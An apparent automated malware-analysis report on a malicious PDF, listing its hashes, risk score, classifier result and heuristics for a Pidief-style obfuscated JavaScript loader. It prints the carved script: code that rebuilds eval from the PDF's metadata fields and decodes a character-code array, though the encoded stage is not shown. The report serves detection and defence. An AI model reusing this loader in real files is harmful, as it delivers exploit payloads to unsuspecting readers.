Malicious PDF — malware analysis report

Static analysis result for SHA-256 f177bfaebcfb3c18…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2026-05-07
MD5: 20b6d33911d5dc1e1b64946b58b29e22 SHA-1: 83d5535b2f48397abca50788553ae4bf31d4e49a SHA-256: f177bfaebcfb3c18a9e01c644abf7f270a726e232c9af40247e33bcb6fe65726
86 Risk Score

Malware Insights

The PDF file was flagged as suspicious by a machine learning classifier with high confidence. Static analysis revealed embedded JavaScript, which is often used to exploit vulnerabilities or deliver malicious payloads. The presence of JavaScript actions and streams within the PDF structure indicates an attempt to execute code. The document body text is minimal and does not provide further context, but the overall structure suggests a malicious intent to execute embedded scripts.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB08D 492 bytes
SHA-256: e238bd48555101131d43a8ca10e9baa5550a2cf3d15ceceb80d8be0f73aba895
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+a[2]+t[0];
e=v[v]()[s];
kiq=e(v[4]+'i'.concat(v[4],t));
q=kiq[v](a.length-7,a.length+1);
d=v[0].toUpperCase()+'tring.f'+'r';
d+='o'+q;
irwxi=e(e('d'));
sub=v[0];
sub+='ubject';
q=kiq[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	wibfk = 1*(q[i]);
	i++;
	wibfk -= (-1)*(q[i]);
	s2 += irwxi(wibfk);
	i++;
}
e(s2);

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